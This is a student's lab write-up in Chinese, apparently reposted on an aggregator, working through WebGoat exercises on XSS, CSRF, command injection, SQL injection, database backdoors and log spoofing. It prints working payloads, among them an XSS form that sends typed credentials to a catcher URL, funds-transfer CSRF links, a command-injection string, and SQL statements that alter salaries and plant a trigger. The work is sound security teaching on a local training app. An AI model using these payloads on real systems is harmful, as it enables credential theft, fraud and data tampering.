20155202《網絡對抗》Exp9 web安全基礎實踐

20155202《網絡對抗》Exp9 web安全基礎實踐

實驗前回答問題

(1)SQL注入攻擊原理,如何防御

  • SQL注入產生的原因,和棧溢出、XSS等很多其他的攻擊方法類似,就是未經檢查或者未經充分檢查的用戶輸入數據,意外變成了代碼被執行。針對于SQL注入,則是用戶提交的數據,被數據庫系統編譯而產生了開發者預期之外的動作。也就是,SQL注入是用戶輸入的數據,在拼接SQL語句的過程中,超越了數據本身,成為了SQL語句查詢邏輯的一部分,然后這樣被拼接出來的SQL語句被數據庫執行,產生了開發者預期之外的動作。

    解決辦法

  • 從根本上防止上述類型攻擊的手段,還是避免數據變成代碼被執行,時刻分清代碼和數據的界限。而具體到SQL注入來說,被執行的惡意代碼是通過數據庫的SQL解釋引擎編譯得到的,所以只要避免用戶輸入的數據被數據庫系統編譯就可以了。

(2)XSS攻擊的原理,如何防御

  • XSS攻擊是Web攻擊中最常見的攻擊方法之一,它是通過對網頁注入可執行代碼且成功地被瀏覽器
    執行,達到攻擊的目的,形成了一次有效XSS攻擊,一旦攻擊成功,它可以獲取用戶的聯系人列
    表,然后向聯系人發送虛假詐騙信息,可以刪除用戶的日志等等,有時候還和其他攻擊方式同時實
    施比如SQL注入攻擊服務器和數據庫、Click劫持、相對鏈接劫持等實施釣魚,它帶來的危害是巨
    大的,是web安全的頭號大敵

    解決方法

  • 一種方法是在表單提交或者url參數傳遞前,對需要的參數進行過濾.
  • 過濾用戶輸入的 檢查用戶輸入的內容中是否有非法內容。如<>(尖括號)、”(引號)、 ‘(單引號)、%(百分比符號)、;(分號)、()(括號)、&(& 符號)、+(加號)等。、嚴格控制輸出

(3)CSRF攻擊原理,如何防御

  • CSRF概念:CSRF跨站點請求偽造(Cross—Site Request Forgery),跟XSS攻擊一樣,存在巨大的危害性,你可以這樣來理解:
    攻擊者盜用了a的身份,以a的名義發送惡意請求,對服務器來說這個請求是完全合法的,但是卻完成了攻擊者所期望的一個操作,比如以a的名義發送郵件、發消息,盜取a的賬號,添加系統管理員,甚至于購買商品、虛擬貨幣轉賬等。

    解決辦法:

  • 目前防御 CSRF 攻擊主要有三種策略:驗證 HTTP Referer 字段;在請求地址中添加 token 并驗證;在 HTTP 頭中自定義屬性并驗證。

WebGoat進行實驗

  • WebGoat是OWASP組織研制出的用于進行web漏洞實驗的應用平臺,用來說明web應用中存在的安全漏洞。WebGoat運行在帶有java虛擬機的平臺之上,當前提供的訓練課程有30多個,其中包括:跨站點腳本攻擊(XSS)、訪問控制、線程安全、操作隱藏字段、操縱參數、弱會話cookie、SQL盲注、數字型SQL注入、字符串型SQL注入、web服務、Open Authentication失效、危險的HTML注釋等等。WebGoat提供了一系列web安全學習的教程.接下來就來配置webgoat。

  • 但是非常不幸,我安裝webgoat時候問題百出,不知道為什么,我的jdk正常,java可以運行
  • 1072527-20180516171902369-1725110399.png
  • 本以為是jar包的問題,按照網上教程將MANIFEST里:后加了空格,發現沒卵子用
  • 1072527-20180516172011407-1175925322.png
  • 下載了不同版本的webgoat-jar文件進行安裝,
  • 1072527-20180516172106546-905681892.png
  • 無濟于事
  • 1072527-20180516172132887-809986930.png
  • 最后只能拷老師的虛擬機進行實驗(不想再在配置電腦上耗費時間了)
  • 1072527-20180516172437670-881745266.png
  • emmm,very good
  • WebGoat使用8080端口,在瀏覽器上訪問localhost:8080/WebGoat,進入WebGoat。
  • 1072527-20180516172959125-751867491.png

練習題目:

1.Phishing with XSS (網路釣魚)

2.Stored XSS Attacks (存儲型xss攻擊)

3.Reflected XSS Attacks(非存儲型xss攻擊,反射型)

4.Cross Site Request Forgery

5.CSRF Prompt By-Pass

6.Command Injection

7.Numeric SQL Injection

8.LAB:SQL Injection(Stage 3:Numeric SQL Injection)

9.Database Backdoors

10.Log Spoofing

XSS練習

1.Phishing with XSS (網路釣魚)

  • 本題要在搜索框中輸入XSS攻擊代碼,利用XSS可以在已存在的頁面中進一步添加元素的特點。我們先創建一個form,讓受害人在我們創建的form中填寫用戶名和密碼,再添加一段JavaScript代碼,讀取受害人輸入的用戶名和密碼,并且將這些信息發送給http://localhost:8080/那一段,完整的XSS攻擊代碼如下:
</form>
<script>function hack(){ XSSImage=new Image;XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);} 
</script>
<form name="phish">
<br>
<br>
<HR><H2>This feature requires account login:</H2>
<br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass">
<br><input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
  • 在搜索框中輸入攻擊代碼后點擊搜索,會看到一個要求輸入用戶名密碼的表單,如圖所示:
  • 1072527-20180516173806023-616605453.png
  • 然后隨便填一下,提交
  • 1072527-20180516173825789-1096098806.png
  • 這就是傳數據回來了,攻擊成功
  • 1072527-20180516173853867-663414491.png

    2.Stored XSS Attacks (存儲型xss攻擊)

    這個就有點弱雞了,創建非法的消息內容,導致其他用戶訪問時載入非預期的頁面或內容,這個和實驗八里面差不多,就message中輸入一串代碼比如<script>alert("you have been died");</script>,然后提交后就蹦出來代碼了
  • 1072527-20180516174752220-836540211.png
  • 1072527-20180516174815371-506316678.png
  • 1072527-20180516174820089-122957057.png

    3.Reflected XSS Attacks(非存儲型xss攻擊,反射型)

  • 當輸入錯誤用戶信息后,服務器校驗輸入有誤,返回錯誤頁面并將錯誤內容展示,比如下面這個購物車:
  • 1072527-20180516175135962-1541630493.png
  • 這時如果我們將帶有攻擊性的URL作為輸入源,在zx那里輸入<script>alert("lalala");</script>,就會彈出對話框:
  • 1072527-20180516175339493-521482110.png
  • 1072527-20180516180030590-336689765.png

第2個和第3個效果相同但是原理不同

  • 存儲型XSS,持久化,代碼是存儲在服務器中的,如在個人信息或發表文章等地方,加入代碼,如果沒有過濾或過濾不嚴,那么這些代碼將儲存到服務器中,用戶訪問該頁面的時候觸發代碼執行。這種XSS比較危險,容易造成蠕蟲,盜竊cookie等。

  • 反射型XSS,非持久化,需要欺騙用戶自己去點擊鏈接才能觸發XSS代碼(服務器中沒有這樣的頁面和內容),一般容易出現在搜索頁面。
    點擊彈出自己的在該網站的cookie:

CSRF攻擊

4.Cross Site Request Forgery

  • 目的:寫一個URL誘使其他用戶點擊,從而觸發CSRF攻擊,我們可以以圖片的的形式將URL放進Message框,這時的URL對其他用戶是不可見的,用戶一旦點擊圖片,就會觸發一個CSRF事件。
  • 在message框中輸入代碼:<img src="http://localhost:8080/WebGoat/attack?Screen=277&menu=900&transferFunds=4000"/>,其中Screen和menu在當前頁面的右邊Parameters進行查看:
  • 1072527-20180516224957793-58731216.png
  • 1072527-20180516225029762-1753638520.png
  • 提交后,會在消息列表中看到一個新的消息,點擊該消息,當前頁面就會下載這個消息并顯示出來,轉走用戶的4000元,從而達到CSRF攻擊的目的。

5.CSRF Prompt By-Pass

  • 包括了兩個請求,一是轉賬請求,二是確認轉賬成功請求,即需要額外傳遞兩個參數給服務器(transferFunds=4000,transferFunds=CONFIRM)
    先在瀏覽器中手動輸入URL:localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=100進入確認轉賬請求頁面
  • 1072527-20180516225507680-1733545238.png
  • 轉賬請求
  • 點擊CONFIRM按鈕,再在瀏覽器中輸入URL:localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=CONFIRM,成功轉走了100元:
  • 1072527-20180516225514167-546069232.png
  • 確認轉賬成功

Injection Flaws訓練

6.Command Injection

  • 在目標主機上執行系統命令,通過火狐瀏覽器下的Firebug對源代碼進行修改,在BackDoors.help旁邊加上"& netstat -an & ipconfig":
  • 1072527-20180516225857044-1022964307.png
  • 之后在下拉菜單中能看到修改后的值
  • 1072527-20180516225919369-93304684.png
  • 選中修改后的值再點view,出現系統網絡連接情況:
  • 1072527-20180516230001448-1759411177.png

7.Numeric SQL Injection

  • 通過注入SQL字符串的方式查看所有的天氣數據,加上一個1=1這種永真式即可達到目的,在任意一個值比如101旁邊加上or 1=1
  • 1072527-20180516230133608-763291112.png
  • 選中Columbia,點Go,可以看到所有天氣數據
  • 1072527-20180516230201610-800733420.png

    LAB:SQL Injection(Stage 1:String SQL Injection)

  • 先以用戶Neville登錄,在密碼欄中輸入' or 1=1 --進行SQL注入,登錄失敗:
  • 1072527-20180516230311709-340585525.png
  • 到源代碼里尋找原因,發現最大鍵入值有問題,就八位,太小了,改成30位
  • 1072527-20180516230402044-1540182904.png
  • 再退出,重新登錄,成功
  • 1072527-20180516230436019-290357306.png

8.LAB:SQL Injection(Stage 3:Numeric SQL Injection)

先以用戶名Larry登錄,登錄之后看到瀏覽員工信息的按鈕是ViewProfile:

  • 1072527-20180516230601428-188463443.png
  • 1072527-20180516230719630-1322429436.png

  • 在網頁代碼中分析這個按鈕,發現這個地方是以員工ID作為索引傳遞參數的,我們要達到通過Larry來瀏覽老板賬戶信息的目的,老板的工資都應該是最高的,所以把其中的value值改為101 or 1=1 order by salary desc --,這樣老板的信息就會被排到第一個:

  • 1072527-20180516230712174-436370875.png
  • 重新登錄可以查看到老板的信息:
  • 1072527-20180516230818766-498178126.png

9.Database Backdoors

  • 先輸101,得到了該用戶的信息:
  • 1072527-20180516230852626-841597799.png
  • 發現輸入的語句沒有驗證,可以進行SQL注入,輸入注入語句:101; update employee set salary=200000
  • 1072527-20180516231035617-1372577365.png
  • 攻擊成功
  • 注入101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155202@qq.com' WHERE userid = NEW.userid
    表中一旦添加新用戶那么就在用戶表里將新用戶的郵箱改為我設置的郵箱。
  • 1072527-20180516231159424-571947753.png

10.Log Spoofing

  • 輸入的用戶名會被追加到日志文件中,所以我們可以使用障眼法來使用戶名為“admin”的用戶在日志中顯示“成功登錄”,在User Name文本框中輸入zx%0d%0aLogin Succeeded for username: admin,其中%0d是回車,%0a是換行符:
  • 1072527-20180522111211463-1235620282.png
  • 攻擊成功
  • 1072527-20180522111222163-192177409.png

實驗體會

  • 這次實驗我webgoat安裝不上就很難受,最難受的應該是這個:寫了一晚上博客最后想Ctrl A,Ctrl C到有道云失手成了Ctrl V,然后發現博客園后臺沒有Ctrl Z
  • 1072527-20180516231356105-2069370291.png
  • 這篇博客是在誤刪后重新寫的,有些地方描述不是很準確,寫的比較急了第二次。
    這次實驗通過使用webgoat做了一系列的sql,CSRF和xss攻擊,使我對這幾種攻擊方式有了更清楚的區分和理解,讓我對我們這些菜雞編出來的代碼極度的否定態度,沒有找不出來的漏洞,所以在信息安全這條道路上好好的體會琢磨吧,道阻且艱!

轉載于:https://www.cnblogs.com/zx20155202/p/9031601.html

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/280357.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/280357.shtml
英文地址,請注明出處:http://en.pswp.cn/news/280357.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

web前端工程師熱門崗位技能要求前瞻

春節假期以后&#xff0c;稍作調整&#xff0c;馬上就要迎來求職高峰期。作為一名前端工程師或者有意向轉行從事前端相關工作的人&#xff0c;你是否對2019年的前端市場有了新的解讀&#xff0c;對于前端的企業崗位要求有了新的理解。今天我就跟大家分享一下2019年web前端熱門崗…

MVC Html.AntiForgeryToken() 防止CSRF***

MVC中的Html.AntiForgeryToken()是用來防止跨站請求偽造(CSRF:Cross-site request forgery)***的一個措施,它跟XSS(XSS又叫CSS:Cross-Site-Script),***不同,XSS一般是利用站內信任的用戶在網站內插入惡意的腳本代碼進行***&#xff0c;而CSRF則是偽造成受信任用戶對網站進行***…

如何反序列化派生類

前言上回&#xff0c;我們講解了《如何序列化派生類》。那如何反序列化派生類呢&#xff1f;假設有一個 Person 抽象基類&#xff0c;其中包含 Student 和 Teacher 派生類&#xff1a;public class Person {public string Name { get; set; } }public class Student : Person {…

目標跟蹤 facebook_如何關閉Facebook Messenger的位置跟蹤(如果已啟用)

目標跟蹤 facebookIt seems like everyone is tracking our location now. Not surprisingly, Facebook Messenger can also transmit a significant amount of information on your location activity. If you use Messenger, here’s how to make sure it’s not reporting y…

哪位大兄弟有用 cMake 開發Android ndk的

一直用 Android studio 開發ndk&#xff0c;但是gradle支持的不是很好&#xff0c;只有experimental 版本支持 配置各種蛋疼。主要每次新建一個module都要修改配置半天。之前也看到過google 開發文檔有提到 cmake 但是一直沒用。哪位大兄弟用過&#xff0c;說下經驗 哪位大兄弟…

restfull知識點

網絡應用程序&#xff0c;分為前端和后端兩個部分。當前的發展趨勢&#xff0c;就是前端設備層出不窮&#xff08;手機、平板、桌面電腦、其他專用設備......&#xff09;。因此&#xff0c;必須有一種統一的機制&#xff0c;方便不同的前端設備與后端進行通信。這導致API構架的…

云計算基礎知識:CPU虛擬化

虛擬化技術的分類主要有服務器虛擬化、存儲虛擬化、網絡虛擬化、應用虛擬化。服務器虛擬化技術按照虛擬對象來分&#xff0c;可分為&#xff1a;CPU虛擬化、內存虛擬化、I/O虛擬化;按照虛擬化程度可分為&#xff1a;全虛擬化、半虛擬化、硬件輔助虛擬化。將不同的虛擬化對象和程…

WPF-18 INotifyPropertyChanged 接口

我們先來看看微軟官方給出的定語&#xff1a;通知客戶端屬性值已經更改。其實對于一個陌生小白來說&#xff0c;很難通過這句話來理解其中的原理&#xff0c;這個接口在WPF和Winform編程中經常會用到&#xff0c;下面是該接口的定義&#xff1a;namespace System.ComponentMode…

頭腦風暴 軟件_頭腦風暴和思維導圖的最佳網站和軟件

頭腦風暴 軟件A mind map is a diagram that allows you to visually outline information, helping you organize, solve problems, and make decisions. Start with a single idea in the center of the diagram and add associated ideas, words, and concepts connected ra…

NULL的陷阱:Merge

NULL表示unknown&#xff0c;不確定值&#xff0c;所以任何值&#xff08;包括null值&#xff09;和NULL值比較都是不可知的&#xff0c;在on子句&#xff0c;where子句&#xff0c;Merge或case的when子句中&#xff0c;任何值和null比較的結果都是false&#xff0c;這就是NULL…

Python實現將不規范的英文名字首字母大寫

Python實現將不規范的英文名字首字母大寫 這篇文章給大家主要介紹的是利用map()函數&#xff0c;把用戶輸入的不規范的英文名字&#xff0c;變為首字母大寫&#xff0c;其他小寫的規范名字。文中給出了三種解決方法&#xff0c;大家可以根據需要選擇使用&#xff0c;感興趣的朋…

使用 System.Text.Json 時,如何處理 Dictionary 中 Key 為自定義類型的問題

在使用 System.Text.Json 進行 JSON 序列化和反序列化操作時&#xff0c;我們會遇到一個問題&#xff1a;如何處理字典中的 Key 為自定義類型的問題。背景說明 例如&#xff0c;我們有如下代碼&#xff1a;// 定義一個自定義類型 public class CustomType {public int Id { get…

極限編程 (Extreme Programming) - 發布計劃 (Release Planning)

編寫用戶故事后&#xff0c;您可以使用發布計劃會議來創建發布計劃。發布計劃指定 將為每個系統版本實現哪些用戶故事以及這些版本的日期。這給出了一組用戶故事供客戶在迭代計劃會議期間進行選擇&#xff0c;以便在下一次迭代期間實施。然后將這些選定的故事翻譯成單獨的編程任…

使用Ubuntu的公用文件夾輕松地在計算機之間共享文件

You’ve probably noticed that Ubuntu comes with a Public folder in your home directory. This folder isn’t shared by default, but you can easily set up several different types of file-sharing to easily share files on your local network. 您可能已經注意到&am…

NSA泄露的惡意軟件DoublePulsar感染了數萬臺Windows電腦

本文講的是NSA泄露的惡意軟件DoublePulsar感染了數萬臺Windows電腦&#xff0c;安全研究人員認為&#xff0c;世界各地的腳本小子和在線犯罪分子正在利用Shadow Brokers 黑客組織上周泄露的NSA黑客工具&#xff0c;致使全球數十萬臺Windows計算機正面臨網絡攻擊威脅。 上周&…

Nginx、LVS及HAProxy負載均衡軟件的優缺點詳解

轉自&#xff1a;https://www.csdn.net/article/2014-07-24/2820837 摘要&#xff1a;Nginx/LVS/HAProxy是目前使用最廣泛的三種負載均衡軟件&#xff0c;一般對負載均衡的使用是隨著網站規模的提升根據不同的階段來使用不同的技術&#xff0c;具體的應用需求還得具體分析&…

windows下使用nginx調試簡介

安裝使用 nginx是一個反向代理服務器&#xff0c;在web開發調試中經常用到&#xff0c;寫一個簡單的使用說明和總結。 1. 下載 點擊官網下載地址 下載對應版本的nginx并解壓 2. 配置 在解壓的目錄下找到conf/nginx.conf文件添加所需監聽和代理的server # 項目名稱server {liste…

MASA Framework 命令查詢職責分離

概念CQRS (https://learn.microsoft.com/zh-cn/azure/architecture/patterns/cqrs)是一種與領域驅動設計和事件溯源相關的架構模式, 它的全稱是Command Query Responsibility Segregation, 又叫命令查詢職責分離, Greg Young在2010年創造了這個術語, 它是基于Bertrand Meyer 的…

Google的Project Stream準備在Chrome中播放AAA控制臺游戲

Streaming full 3D games over a high-speed web connection is a fast growing trend. And with ridiculous amounts of infrastructure and remote computing power, Google is well equipped to join it. 通過高速網絡連接流式傳輸完整的3D游戲是一種快速增長的趨勢。 憑借可…

私有云之迷思:未來是什么?

本文講的是私有云之迷思&#xff1a;未來是什么&#xff1f;&#xff0c;【編者的話】非常好的一篇文章&#xff0c;作者從OpenStack目前的困境講起&#xff0c;聊到了私有云的產生背景&#xff0c;進而介紹了云計算的發展史。從云計算誕生的初衷以及現在流行的分布式應用又延伸…